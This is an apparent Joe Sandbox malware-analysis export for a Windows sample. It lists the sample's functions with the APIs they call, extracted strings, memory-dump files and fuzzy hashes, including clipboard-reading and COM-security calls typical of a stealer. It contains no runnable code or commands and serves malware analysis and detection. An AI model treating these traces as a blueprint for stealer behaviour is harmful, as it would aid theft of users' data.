Instruction ID: adf309ddbc5db046aa16b2581ea71945b8204a3bc07743bfbc1a7add8c0aea06
Opcode Fuzzy Hash: c87e9155f9f4ad8cbe3e63cfa7ccb9e779a472e062ec289b3edfb62c65f73762
Instruction Fuzzy Hash: E1614C726082049FD724DB29D891BBBB7A2FBD1304F2D846DD6C6D7395EA31AC01CB85

Function 00108EAC Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 130
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.MSVCRT ref: 00108F03
strtoul.MSVCRT ref: 00108FD5
strchr.MSVCRT ref: 00108FFA
malloc.MSVCRT ref: 00109033

Strings

=, xrefs: 00108FAF
:, xrefs: 00108F48
., xrefs: 00108F79
:, xrefs: 00108FF2
@, xrefs: 00108F39

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: getenvmallocstrchrstrtoul
String ID: .$:$:$=$@
API String ID: 3906490709-779014836
Opcode ID: 6c8b5a96432fe792107b39cc234dcd49e3b9bbdbfe92dd799a7a10b9ecbe2791
Instruction ID: 2e8ce0a61b30c203e1d4ce7f4d798b1f6c92aa05de006746bb6d94abfeb50267
Opcode Fuzzy Hash: 6c8b5a96432fe792107b39cc234dcd49e3b9bbdbfe92dd799a7a10b9ecbe2791
Instruction Fuzzy Hash: 685129B19083059BDB14EFA9D5842AEBBF6BF48304F11852EE4C8D7292EBB48484DB41

Function 0009FF35 Relevance: 12.1, APIs: 8, Instructions: 84
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,000A0564), ref: 0009FF4B

Part of subcall function 0009FD82: calloc.MSVCRT ref: 0009FDAF

GetCurrentThreadId.KERNEL32 ref: 0009FF74
CreateEventA.KERNEL32 ref: 0009FF92

Part of subcall function 0009FE4A: GetCurrentThreadId.KERNEL32 ref: 0009FE6E
Part of subcall function 0009FE4A: OutputDebugStringA.KERNEL32 ref: 0009FE93
Part of subcall function 0009FE4A: abort.MSVCRT(00000000), ref: 0009FE9A

GetCurrentThread.KERNEL32 ref: 0009FFC2
DuplicateHandle.KERNELBASE ref: 0009FFF3
abort.MSVCRT(00000000,00000000), ref: 000A0000
GetThreadPriority.KERNEL32(00000000,00000000), ref: 000A000B
TlsSetValue.KERNEL32 ref: 000A0032

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: Thread$Current$Valueabort$CreateDebugDuplicateEventHandleOutputPriorityStringcalloc
String ID:
API String ID: 3659382012-0
Opcode ID: 059273771cfd28fcb48ea4f88628c9818c586284deed35cded6a9acc5a5c1c12
Instruction ID: dfd17f6c8ed0626602d0590de35627b5a59f732e0fc2b9e4ecc982634135be86
Opcode Fuzzy Hash: 059273771cfd28fcb48ea4f88628c9818c586284deed35cded6a9acc5a5c1c12
Instruction Fuzzy Hash: 5F310AB19063018FCB44EF79D98859ABFE4EF88350F40856AE894C7266E774C440CF92

Function 000A702C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingA.KERNEL32 ref: 000A7080
MapViewOfFile.KERNELBASE ref: 000A70B2
CloseHandle.KERNELBASE ref: 000A70C7

Strings

@, xrefs: 000A7064
", xrefs: 000A709F

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: File$CloseCreateHandleMappingView
String ID: "$@
API String ID: 1187395538-1136454570
Opcode ID: 4dbf990c9804d6caaf0d28751d2519f1f48630aeb6f778e44f9dfe7c416d228f
Instruction ID: e8577893db20baded1f79872dd8d9e0c91b1c444913d46bf348f57e66f4174f1
Opcode Fuzzy Hash: 4dbf990c9804d6caaf0d28751d2519f1f48630aeb6f778e44f9dfe7c416d228f
Instruction Fuzzy Hash: D92180B4A092069FDB40DFA8C984B5EBBF0BF49304F008569E868E7360D375E945CF92

Function 008BB720 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 008BB720
GetForegroundWindow.USER32 ref: 008BB740

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 6c8e25a21742e10c4c98f62c3b858ab530a89d9249293ff31e650631916dfb9d
Instruction ID: 4658befec99a50c0b4911c9b221a8c65b60d5db615e01bf1b4c4eeee32651c20
Opcode Fuzzy Hash: 6c8e25a21742e10c4c98f62c3b858ab530a89d9249293ff31e650631916dfb9d
Instruction Fuzzy Hash: 6ED05EB5920210EB8604AB28FC4A81A3A2AFB45269B544A34E80382357FE31641A8A83

Function 000918C7 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 00091A34

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: e648850b28eb425c995a0c394ba28a426cfcb88fa45fb93a1d89d42d46128192
Instruction ID: 351395b999392a881327ed4a0e0e072920d2f0030e477486d5aa1c3399de9202
Opcode Fuzzy Hash: e648850b28eb425c995a0c394ba28a426cfcb88fa45fb93a1d89d42d46128192
Instruction Fuzzy Hash: 2C410774A04319CBCB14EF64D994ADDBBF5BF88300F1085A9E88897751EB749A85CF42

Function 0009AE66 Relevance: 1.6, APIs: 1, Instructions: 104COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 0009AE78

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: 343169d83155eaa4ad839ef48cde676e2ec150f467a4768b3d0e04e99ae75c2a
Instruction ID: 69cd8ef93cda57e9c407749667b89ae75a18687deab85018adfc085de47075c2
Opcode Fuzzy Hash: 343169d83155eaa4ad839ef48cde676e2ec150f467a4768b3d0e04e99ae75c2a
Instruction Fuzzy Hash: 40411B716083858FDB70CF29D58079BFBE2AB8A324F148B1DE4A88B291D334D542DB53

Function 000A0AE2 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 000A0B87

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: fprintf
String ID:
API String ID: 383729395-0
Opcode ID: 9161b34e7f9c6481d5bc8495f41f77483e64a2d73eb053943ac76ad7c50ece3c
Instruction ID: 6c5e9686a9730e9db596beec535029d427d0f9068efa2b6a7e00405b5f5e2c0b
Opcode Fuzzy Hash: 9161b34e7f9c6481d5bc8495f41f77483e64a2d73eb053943ac76ad7c50ece3c
Instruction Fuzzy Hash: 971160B0A143099FCB20EFA9C5455EEBBF5EF85304F11C869E8849B312E7759841DFA1

Function 008BB420 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,?,0088B29B,?,00000001,?,?,?,?,?,?,?), ref: 008BB452

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fb065498feba0b9a729245874f2264a1e63e5e94aaff21554bf73b16591bc681
Instruction ID: 89bfd96d8d1fb57afd58e8a4b6ad4e1de70b9dddbc55413465e4a55ce53b08b7
Opcode Fuzzy Hash: fb065498feba0b9a729245874f2264a1e63e5e94aaff21554bf73b16591bc681
Instruction Fuzzy Hash: 8BE0ED32915225EBC6002B39BC06A9B3A78FF86720F060830F441E2316EB31E810C6AA

Function 008B0879 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 008B08C3

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: e5147a84efc51720978e79265e208c00e0403b542e739b4e5889e2a421ea437c
Instruction ID: 56131064d106690153299003e5ebbb6f76e1935a2b6f849f5cccadd658b97167
Opcode Fuzzy Hash: e5147a84efc51720978e79265e208c00e0403b542e739b4e5889e2a421ea437c
Instruction Fuzzy Hash: 3001B275249702CBE710CF64D5D8B4BBBF1BB84304F14891CE4954B395D7B5A9898FC2

Function 008AE343 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 008AE38C

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 12f605a023ec12a39d294469e31ff5cc5a7d6968f9c302b922864cb67b251f9b
Instruction ID: 892387e0df9602e550eb5a378245aca75526dce5af11b16cb7ff2b7ab20a7ff2
Opcode Fuzzy Hash: 12f605a023ec12a39d294469e31ff5cc5a7d6968f9c302b922864cb67b251f9b
Instruction Fuzzy Hash: 9501F9B4609705CFE305DF28D498B5ABBF1FB89304F10881CE4958B3A1CB79A949CF82

Function 00099FD8 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 0009A001

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: fputc
String ID:
API String ID: 1992160199-0
Opcode ID: 6e43812b830da307458a2b4cbff3996d19f1e998b98e22eee2657815703c183c
Instruction ID: 112490c4cb31a00592e5041d7f00ec68e509dee40dd54ad080c840f40cfca9e1
Opcode Fuzzy Hash: 6e43812b830da307458a2b4cbff3996d19f1e998b98e22eee2657815703c183c
Instruction Fuzzy Hash: 8CE06DB06052008BCF08DB1DC1C5461BBA5FB8A30075582ADD98A4B247D231D841DB97

Function 0088CDF0 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0088CE03

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 35a117ddac6f5dfba4029b24b8db30559e72b36bff1321801e6940be8970ce9f
Instruction ID: a04c25b279354605392441ac9cbd390826cf93e63f094c794e929ba6f155f236
Opcode Fuzzy Hash: 35a117ddac6f5dfba4029b24b8db30559e72b36bff1321801e6940be8970ce9f
Instruction Fuzzy Hash: 9BD0A7301505486BD254775DDC0BF56377CA702B69F000329F363C61D1DD206910CA65

Function 0088CE23 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0088CE35

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 7c9cf13653eabd52e2c6c4757ab97dca57bcb7c935cf93bc7ec77ba951f581eb
Instruction ID: 78cb4ecc75332a154b7b8dd5666f5f68c67fdb999f398c84a380ac889bfa819c
Opcode Fuzzy Hash: 7c9cf13653eabd52e2c6c4757ab97dca57bcb7c935cf93bc7ec77ba951f581eb
Instruction Fuzzy Hash: 09D092303C4310BAE5348A48AC53F142226A301B51F700719B322FE6D0C9E071218A19

Function 008B9B60 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000,00892F5C), ref: 008B9B80

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 9586f28b32c0f45477b44ba857db5cea77d702094f56afa5bf38728792390207
Instruction ID: b46c62ef7b1b81804e7c63e4ca54e7056d10b29b10739201d7d2f4a09de7fba5
Opcode Fuzzy Hash: 9586f28b32c0f45477b44ba857db5cea77d702094f56afa5bf38728792390207
Instruction Fuzzy Hash: 39D0C931506136EBCA506B28BC15BC73B68EF49631F0708A1B400AA1A4D665EC918AD4

Function 000A6CF8 Relevance: 1.5, APIs: 1, Instructions: 11libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,?,?,000A6D78), ref: 000A6D0C

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0fed5b202e64fffcaab6df48bae35e26eab2aa054174eb0ff2d1565636b03879
Instruction ID: d1fee20b2b515651187055d1d78e1f2da5d0174181e1b8203a212671305bff8e
Opcode Fuzzy Hash: 0fed5b202e64fffcaab6df48bae35e26eab2aa054174eb0ff2d1565636b03879
Instruction Fuzzy Hash: 7CC012B09042089BC704FFBDE98284DBBF4AB08208F408138E894D3364E270E998CF96

Function 008B9B40 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00894E57,00000400), ref: 008B9B50

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b96878734a31ee802d7fe6abd4aac7e253570ae93c64fa57c36f4cf7cf0714a9
Instruction ID: 051d608fff388c568b42d2127fd4fa8f925a19da2ff4fd256a5b1ba6e3fe6f6c
Opcode Fuzzy Hash: b96878734a31ee802d7fe6abd4aac7e253570ae93c64fa57c36f4cf7cf0714a9
Instruction Fuzzy Hash: 77C04831146124AACA10AB18FC09BCA3B68FF556A0F1A04A2B005A61B18660AC828A99

Function 0010781C Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00107833

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 1744ded566ec86dfab1e819450735eea491af9219dccf39d192007cd19a6d06f
Instruction ID: 7ddb4176a7ea2bc8f4fbd71518c253e71f85dc17cdceffac60e3d43fdca58d68
Opcode Fuzzy Hash: 1744ded566ec86dfab1e819450735eea491af9219dccf39d192007cd19a6d06f
Instruction Fuzzy Hash: 8DF030B09083056ED7007FA5D9C921A7AD4AF15344F41886DE9C95B3D3E7F1E984C762

Non-executed Functions

Function 008B6690 Relevance: 19.0, Strings: 15, Instructions: 246COMMON

Download Yara Rule

Strings

C, xrefs: 008B6898
\, xrefs: 008B688E
`, xrefs: 008B678B
X, xrefs: 008B66EB
~, xrefs: 008B674F
5, xrefs: 008B689D
i, xrefs: 008B6893
Y, xrefs: 008B66A3
#, xrefs: 008B68ED
Y, xrefs: 008B66F0
j, xrefs: 008B6795
Z, xrefs: 008B66F5
Z, xrefs: 008B66A8
e, xrefs: 008B6786
X, xrefs: 008B669E

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID: #$5$C$X$X$Y$Y$Z$Z$\$`$e$i$j$~
API String ID: 0-3294723363
Opcode ID: 218b22c1c0bb5ff38fa90c5a0a5a95447d190bf781458c7b06e1a19171da4b10
Instruction ID: 91a76d1012fe9773a65396f42b5c40ec5651d5058a42a7d7cc9b9402dfe7f461
Opcode Fuzzy Hash: 218b22c1c0bb5ff38fa90c5a0a5a95447d190bf781458c7b06e1a19171da4b10
Instruction Fuzzy Hash: 8191F423A0C7D14AD3058538885439FAED35BE2228F2DCA6DD4E5D73C6D57DC90683A3

Function 00899C10 Relevance: 15.3, APIs: 2, Strings: 6, Instructions: 1297COMMON

Download Yara Rule

APIs

Part of subcall function 008BB480: LdrInitializeThunk.NTDLL(008BD4FB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 008BB4AE

FreeLibrary.KERNEL32(?), ref: 0089A21A
FreeLibrary.KERNEL32(?), ref: 0089A29B

Strings

I,~M, xrefs: 0089AA47
PQ, xrefs: 00899FAC
wEtG, xrefs: 00899F94
cba`, xrefs: 0089A13D
cba`, xrefs: 00899C63
cba`, xrefs: 0089AA31

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: I,~M$PQ$cba`$cba`$cba`$wEtG
API String ID: 764372645-3803835663
Opcode ID: db5d8a4946739d30a93a67cbe7998099a2a6c3fd06140fdba589db55c5c0eeeb
Instruction ID: bbc303b0f526efde82383ae293be1a5808280084c612d13fe38842846f990fa4
Opcode Fuzzy Hash: db5d8a4946739d30a93a67cbe7998099a2a6c3fd06140fdba589db55c5c0eeeb
Instruction Fuzzy Hash: 6D92EF706483409BEB189B69C895B2BBBE6FBD0704F28886CE5C5C7392D6759C41CB93

Function 00098A1F Relevance: 13.7, APIs: 4, Strings: 3, Instructions: 1487stringCOMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 00098A2E
strlen.MSVCRT ref: 00098A38
_errno.MSVCRT ref: 00099C50
_errno.MSVCRT ref: 00099D3C

Strings

5, xrefs: 00098EF3
P, xrefs: 00099D0C
, xrefs: 00099904

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: _errno$localeconvstrlen
String ID: $5$P
API String ID: 2486237476-2425386841
Opcode ID: 8f0c810a9ad45b18b8a8ab1a7c4a5260a7f49990a0ba9e426bfbef77f52862f4
Instruction ID: f2010030c6efbb92f092eae20107fc8868cf0d5520097ee3d304fe11a6ba55e1
Opcode Fuzzy Hash: 8f0c810a9ad45b18b8a8ab1a7c4a5260a7f49990a0ba9e426bfbef77f52862f4
Instruction Fuzzy Hash: 45D244B0D056198FCF24CFA8C98469DBBF1BF49300F24856EE859AB345EB349985EF50

Function 008A5920 Relevance: 12.9, Strings: 10, Instructions: 398COMMON

Download Yara Rule

Strings

3v#H, xrefs: 008A59D7
cba`, xrefs: 008A5C50
Z\, xrefs: 008A59FF
z%|, xrefs: 008A59BF
=j9l, xrefs: 008A599F
"r,t, xrefs: 008A59CF
&f?x, xrefs: 008A59B7
^P, xrefs: 008A5A07
<b"d, xrefs: 008A59AF
cba`, xrefs: 008A5E6C

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID: z%|$"r,t$&f?x$3v#H$<b"d$=j9l$cba`$cba`$Z\$^P
API String ID: 0-3047316687
Opcode ID: e9e3aff01da24f269e10b2fa9bc13ebaa4af623e7e37492ec78a8dcba539f18d
Instruction ID: 92781b33893f48e54271476142f07cb8186a03d8da2e3b34c80338a3736444b8
Opcode Fuzzy Hash: e9e3aff01da24f269e10b2fa9bc13ebaa4af623e7e37492ec78a8dcba539f18d
Instruction Fuzzy Hash: 83D1EEB5508380DFE324CF24D891B6BBBB2FBD1304F54982CE5869B261E774D941CB52

Function 008B1A30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 008B1A40
GetWindowLongW.USER32 ref: 008B1A65
GetClipboardData.USER32 ref: 008B1A75
GlobalLock.KERNEL32 ref: 008B1A8E
GlobalUnlock.KERNEL32 ref: 008B1B90
CloseClipboard.USER32 ref: 008B1B99

Strings

K, xrefs: 008B1B1E

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: K
API String ID: 2832541153-856455061
Opcode ID: 75fdd0df894a56fc2d689e3d7c08f4164a1f353e68b40dea0a641e8fe1b0042e
Instruction ID: 104182f9a56f36df44fb16891c8c6b51c964a0ec8f1f44bbe2448a17d9e6e811
Opcode Fuzzy Hash: 75fdd0df894a56fc2d689e3d7c08f4164a1f353e68b40dea0a641e8fe1b0042e
Instruction Fuzzy Hash: 38419D6150C785CED310AF7C989825EBFE0AB82224F444B6DF5E6CA3D2E6348549C7A3

Function 0009C720 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 537stringCOMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 0009C72B
strlen.MSVCRT ref: 0009C9FC
_errno.MSVCRT ref: 0009CB24
_errno.MSVCRT ref: 0009CBEB
_errno.MSVCRT ref: 0009CC03

Strings

, xrefs: 0009CA32

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin
